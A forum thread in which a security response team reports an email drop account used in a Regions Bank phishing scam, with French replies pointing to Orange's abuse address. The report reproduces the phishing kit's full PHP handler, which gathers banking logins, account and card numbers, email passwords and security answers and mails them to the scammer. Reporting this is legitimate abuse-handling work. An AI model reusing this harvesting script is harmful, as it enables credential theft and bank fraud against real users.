Email Drop Account - Criminal activity

IIDSIRT — Mon, 11 Nov 2013 09:21:25 GMT

Team,

The following Email Account is being used as a drop account for an email scam targeting Regions Bank

getoutmyass@voila.fr

This email account is being sent out as part of an email scam where users are fooled into submitting their credentials to getoutmyass@voila.fr. The original spam email does not originate from getoutmyass@voila.fr but the contents instruct the users to send their credentials to the account.

<?php

session_start();

$ip = getenv("REMOTE_ADDR");

$message = "-------------: Regions by NikoL :-------------\n";

$message .= "Username : ".$_SESSION['OnlineID']."\n";

$message .= "password : ".$_SESSION['Password']."\n";

$message .= "--------------------------------------------------\n";

$message .= "Username : ".$_SESSION['txtOnlineID']."\n";

$message .= "password : ".$_SESSION['txtPassword']."\n";

$message .= "--------------------------------------------------\n";

$message .= "First Name : ".$_POST['FN']."\n";

$message .= "Last Name : ".$_POST['LN']."\n";

$message .= "AccountNumber : ".$_POST['Anumber']."\n";

$message .= "RoutingNumber : ".$_POST['Rnumber']."\n";

$message .= "ATM/Debit# : ".$_POST['cardn']."\n";

$message .= "Email Address : ".$_POST['email']."\n";

$message .= "Password : ".$_POST['epass']."\n";

$message .= "--------------------------------------------------\n";

$message .= "Question1: ".$_POST['Q1']."\n";

$message .= "Answer : ".$_POST['ANS1']."\n";

$message .= "Question2: ".$_POST['Q2']."\n";

$message .= "Answer : ".$_POST['ANS2']."\n";

$message .= "Question3: ".$_POST['Q3']."\n";

$message .= "Answer : ".$_POST['ANS3']."\n";

$message .= "--------------------------------------------------\n";

$message .= "IP : ".$ip."\n";

$message .= "-------------: Regions by NikoL :-------------\n";

$file = fopen("../c37b4f74d351de8d2ee52829b6333b75.txt","a");

fwrite($file, $message);

fclose($file);

$recipient = "getoutmyass@voila.fr";

$subject = "Regions - ".$ip;

$headers = "From: NikoL<nikol_cc@yahoo.com>";

$headers .= "MIME-Version: 1.0\n";

mail($recipient,$subject,$message,$headers);

header("Location: https://www.regions.com/personal_banking.rf");

Please take action to suspend this fraudulent account.

Regards,

Security Incident Response Team

Re : Email Drop Account - Criminal activity

fredolerouge — Mon, 11 Nov 2013 09:31:56 GMT

Salut

ou et?

A priori, transfères ça à abuse@orange.fr et mets le mail à la benne sans cliquer sur quoi que ce soit

Re : Email Drop Account - Criminal activity

IIDSIRT — Mon, 11 Nov 2013 09:39:07 GMT

Bonjour,

J'ai contacté abuse@orange.fr plusieurs fois

Ce problème est plus d'une semaine vieux

J'ai besoin d'aide parce que Orange.fr pour une raison quelconque a remporté '' t désactiver un compte de messagerie de fraude

Re : Email Drop Account - Criminal activity

fredolerouge — Mon, 11 Nov 2013 10:33:10 GMT

salut

tu as transféré le mail à abuse?

Parce que le mail et son origine me semblent bien pourris.

Et rien à voir avec orange.

Ce genre de message, poubelle après transfert à abuse@orange.fr

Et on oublie

sujet Re : Email Drop Account - Criminal activity dans protéger mes données et mon accès internet

Email Drop Account - Criminal activity

Re : Email Drop Account - Criminal activity

Re : Email Drop Account - Criminal activity

Re : Email Drop Account - Criminal activity